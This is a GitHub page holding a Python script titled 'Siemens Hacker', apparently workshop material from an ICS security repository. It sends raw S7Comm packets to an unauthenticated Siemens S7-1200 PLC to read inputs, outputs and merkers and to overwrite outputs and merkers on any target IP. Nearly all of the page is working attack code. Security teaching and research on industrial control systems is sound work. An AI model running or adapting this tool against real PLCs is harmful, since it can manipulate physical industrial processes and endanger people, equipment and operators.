forked from tijldeneut/ICSSecurityScripts
-
Notifications
You must be signed in to change notification settings - Fork 0
/
S7-1200-Workshop.py
220 lines (188 loc) · 9.92 KB
/
S7-1200-Workshop.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#! /usr/bin/env python3
'''
Copyright 2021 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
###### ------------------------------------------------------- ######
###### --------------------- 2016-04-10 : original version --- ######
###### --------------------- 2021-04-20 : updated Python3 ---- ######
File name S7-1200-Workshop.py
written by tijl[dot]deneut[at]howest[dot]be
This script works on both Linux and Windows
Designed to be used as an inline script for manipulating
in- and outputs and merkers.
Only tested on S7-1200 series (no encryption)
'''
import os, sys, argparse, re, socket, binascii
##### Global vars
sIP = sOutputs = sMerkers = ''
iPort = 102
bRead = False
iBUFFER = 4096
##### Functions
def showBanner():
os.system('cls' if os.name == 'nt' else 'clear')
print("""
[*****************************************************************************]
This script works on both Linux and Windows
--- Siemens Hacker ---
This script reads in- and outputs and merkers
AND writes outputs and merkers.
(For now only S7-1200 is tested)
______________________/-> Created By Tijl Deneut(c) <-\_______________________
[*****************************************************************************]
""")
def finish(sMessage=''):
print(str(sMessage))
sys.exit()
def parseArgs():
global sIP, iPort, sOutputs, sMerkers, iMerkerOffset, bRead
def isIpv4(ip):
match = re.match("^(\d{0,3})\.(\d{0,3})\.(\d{0,3})\.(\d{0,3})$", ip)
if not match: return False
quad = []
for number in match.groups(): quad.append(int(number))
if quad[0] < 1: return False
for number in quad:
if number > 255 or number < 0: return False
return True
parser = argparse.ArgumentParser()
parser.add_argument('-t', metavar='ip:<port>', help="Target IP to use (e.g. 192.168.1.50 or 10.0.0.10:102)", required=True)
parser.add_argument('-p', metavar='port', help="Target Port to use (default 102)", type=int, default=102)
parser.add_argument('-r', help="Read values", action='store_true')
parser.add_argument('-o', metavar='outputs', help="Set Outputs (e.g. 00000000)")
parser.add_argument('-m', metavar='merkers,<offset>', help="Set Merkers with offset (e.g. 10101010,3 to set merkers 3.0 through 3.7)")
args = parser.parse_args()
sIP = args.t.split(':')[0]
if not isIpv4(sIP): finish('Error: Wrong IP, please go read RFC 791 and then use a legitimate IPv4 address.')
iPort = args.p
if len(args.t.split(':')) > 1: iPort = args.t.split(':')[1]
try: iPort = int(iPort)
except: finish('Error: Port not recognized '+str(iPort)+')')
if args.o: sOutputs = re.sub(r'[^01]+','',args.o)
if args.m:
sMerkers = re.sub(r'[^01]+','',args.m.split(',')[0])
iMerkerOffset = 0
if len(args.m.split(',')) > 1: iMerkerOffset = args.m.split(',')[1]
try: iMerkerOffset = int(iMerkerOffset)
except:finish('Error: Merker offset is not a decimal (' + iMerkerOffset + ')')
if args.r:
bRead = True
sOutputs = sMerkers = ''
if not sOutputs and not sMerkers: bRead = True
def sendAndRecv(sock, strdata, sendOnly = False):
global iBUFFER
data = binascii.unhexlify(strdata.replace(' ','')) ## Convert to real HEX (\x00\x00 ...)
sock.send(data)
if sendOnly: return
ret = sock.recv(iBUFFER)
#print(ret.hex())
return ret
def setupConnection(sIP, iPort):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
sock.connect((sIP, iPort))
## Always start with a COTP CR (Connection Request), we need a CS (Connection Success) back
cotpsync = binascii.hexlify(sendAndRecv(sock, '03000016' + '11e00000000100c0010ac1020100c2020101'))
if not cotpsync[10:12] == b'd0': finish('COTP Sync failed, PLC not reachable?')
## First 4 bytes are TPKT (last byte==datalength), next 3 bytes are COTP, last 18 bytes are S7Comm Setup Communication
s7comsetup = binascii.hexlify(sendAndRecv(sock, '03000019' + '02f080' + '32010000722f00080000f0000001000101e0'))
if not s7comsetup[18:20] == b'00': finish('Some error occured with S7Comm setup, full data: ' + s7comsetup)
return sock
def printData(sWhat, s7Response): ## Expects 4 byte hex data (e.g. 00000000)
if not s7Response[18:20] == b'00': finish('Some error occured with S7Comm Setup, full response: ' + str(s7Response) + '\n')
s7Data = s7Response[14:]
datalength = int(s7Data[16:20], 16) ## Normally 5 bytes for a byte, 6 if we request word, 8 if we request real
s7Items = s7Data[28:28 + datalength*2]
if not s7Items[:2] == b'ff': finish('Some error occured with S7Comm Data Read, full S7Comm data: ' + str(s7Data) + '\nFirmware not supported?\n')
print(' ###--- ' + sWhat + ' ---###')
sToShow = [''] * 8
for i in range(0,4):
iOffset1 = (4 - i) * -2
iOffset2 = iOffset1 + 2
if iOffset2 == 0: iOffset2 = None
iData = int(s7Items[iOffset1:iOffset2], 16) ## Now we have e.g. 02, which is 00000010
for j in range(0,8):
## Performing binary and of the inputs AND 2^1 to get value of last bit
bVal = iData & int(2**j)
if not bVal == 0: bVal = 1
sToShow[j] = sToShow[j] + str(i) + '.' + str(j) + ': ' + str(bVal) + ' | '
for i in range(0,8): print(sToShow[i][:-2])
print('')
def getAllData(sIP, iPort):
## Setup the connection
sock = setupConnection(sIP, iPort)
## First 4 bytes are TPKT (last byte==datalength), next 3 bytes are COTP, last 24 bytes are S7Comm Read Var.
## Request Byte (02) or Word (04) or Dword (06)
## '81' means read inputs (I)
## '000000' means starting at Address 0 (I think)
## Get Inputs in Dword (so 32 inputs) starting from Address 0
s7Response = binascii.hexlify(sendAndRecv(sock, '0300001f' + '02f080' + '32010000732f000e00000401120a10 06 00010000 81 000000'.replace(' ','')))
printData('Inputs',s7Response)
## Outputs (82)
s7Response = binascii.hexlify(sendAndRecv(sock, '0300001f' + '02f080' + '32010000732f000e00000401120a10 06 00010000 82 000000'.replace(' ','')))
printData('Outputs',s7Response)
## Merkers (83)
s7Response = binascii.hexlify(sendAndRecv(sock, '0300001f' + '02f080' + '32010000732f000e00000401120a10 06 00010000 83 000000'.replace(' ','')))
printData('Merkers',s7Response)
sock.close()
def setOutputs(sIP, iPort, sOutputs):
## Outputs need to be reversed before sending: ('11001000' must become '00010011')
sOutputs = sOutputs[::-1]
## Converted to hexstring ('00010011' becomes '13')
hexstring = hex(int(sOutputs, 2))[2:]
if len(hexstring) == 1: hexstring = '0' + hexstring # Add leading zero
## Setup the connection
sock = setupConnection(sIP, iPort)
## Set Outputs
## First 4 bytes are TPKT (last byte==datalength), next 3 bytes are COTP, last 24 bytes are S7Comm Set Var, last byte contains data to send!
s7Response = binascii.hexlify(sendAndRecv(sock, '03000024' + '02f080' + '32010000732f000e00050501120a1002000100008200000000040008' + hexstring))
if s7Response[-2:] == b'ff': print('Writing Outputs successful')
else: print('Error writing outputs.')
sock.close()
def setMerkers(sIP, iPort, sMerkers, iMerkerOffset=0):
## Outputs need to be reversed before sending: ('11001000' must become '00010011')
sMerkers = sMerkers[::-1]
## Converted to hexstring ('00010011' becomes '13')
hexstring = hex(int(sMerkers, 2))[2:]
if len(hexstring) == 1: hexstring = '0' + hexstring # Add leading zero
## Setup the connection
sock = setupConnection(sIP, iPort)
## Set Merkers
## First 4 bytes are TPKT (last byte==datalength), next 3 bytes are COTP, last bytes are S7Comm Write Var, '83' is Merker, last bytes contain data to send!
# '320100000800000e00080501120a1006000100008300000000040020 00070000'
## '83' is merkers
## '000000' is address (address 9 = 000048 => '1001' + '000' = 0100 1000 = 0x48)
## 04 is WORD (so 2 bytes in the end)
## Convert iMerkerOffset to BIN, add '000' and convert back to HEX
sMerkerOffset = bin(iMerkerOffset)
sMerkerOffset = sMerkerOffset + '000'
hMerkerOffset = str(hex(int(sMerkerOffset[2:],2)))[2:]
hMerkerOffset = hMerkerOffset.zfill(6) ## Add leading zero's up to 6
#print('Sending '+hexstring+' using offset '+hMerkerOffset)
s7Response = binascii.hexlify(sendAndRecv(sock, '03000025' + '02f080' + '320100001500000e00060501120a100400010000 83 ' + hMerkerOffset + '00 04 0010' + hexstring + '00'))
if s7Response[-2:] == b'ff': print('Writing Merkers successful')
else: print('Error writing merkers.')
sock.close()
##### The Actual Program
## The Banner
showBanner()
parseArgs()
if bRead:
print('Will perform a single read of the outputs, inputs and the (first 32) merkers')
if sOutputs:
print('Will write this data to the outputs: ' + sOutputs)
setOutputs(sIP, iPort, sOutputs)
if sMerkers:
print('Will write this data to the merkers: ' + sMerkers + ' using offset ' + str(iMerkerOffset))
setMerkers(sIP, iPort, sMerkers, iMerkerOffset)
print('using '+sIP + ':' + str(iPort))
getAllData(sIP, iPort)